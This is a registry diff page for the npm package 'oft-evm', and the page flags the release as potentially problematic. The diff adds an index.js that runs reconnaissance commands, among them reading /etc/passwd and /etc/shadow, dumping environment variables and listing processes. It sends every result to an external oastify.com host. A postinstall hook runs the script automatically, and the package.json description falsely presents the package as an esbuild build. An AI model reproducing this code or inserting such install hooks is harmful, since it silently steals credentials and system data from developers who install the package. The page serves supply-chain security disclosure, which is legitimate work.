oft-evm 0.0.1-security → 7.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of oft-evm might be problematic. Click here for more details.
- package/index.js +42 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
function sendData(data) {
|
|
5
|
+
const options = {
|
|
6
|
+
hostname: 'dvcvv5kjdokqsvzul33u3zehe8kz8pwe.oastify.com',
|
|
7
|
+
port: 443,
|
|
8
|
+
path: '/',
|
|
9
|
+
method: 'POST',
|
|
10
|
+
headers: {
|
|
11
|
+
'Content-Type': 'application/json'
|
|
12
|
+
}
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
const req = https.request(options, (res) => {});
|
|
16
|
+
req.on('error', (e) => {});
|
|
17
|
+
req.write(JSON.stringify({ data }));
|
|
18
|
+
req.end();
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const commands = [
|
|
22
|
+
'whoami',
|
|
23
|
+
'hostname',
|
|
24
|
+
'uname -a',
|
|
25
|
+
'cat /etc/passwd',
|
|
26
|
+
'cat /etc/shadow',
|
|
27
|
+
'env',
|
|
28
|
+
'ps aux',
|
|
29
|
+
'netstat -tulpn',
|
|
30
|
+
'platform',
|
|
31
|
+
'ls',
|
|
32
|
+
'tasklist',
|
|
33
|
+
'ver',
|
|
34
|
+
'systeminfo'
|
|
35
|
+
];
|
|
36
|
+
|
|
37
|
+
commands.forEach((cmd) => {
|
|
38
|
+
exec(cmd, (err, stdout, stderr) => {
|
|
39
|
+
sendData({ cmd, stdout, stderr });
|
|
40
|
+
});
|
|
41
|
+
});
|
|
42
|
+
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "oft-evm",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "7.1.1",
|
|
4
|
+
"description": "netbsd-x64 build for esbuild",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "kali182",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
|
12
|
+
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=oft-evm for more information.
|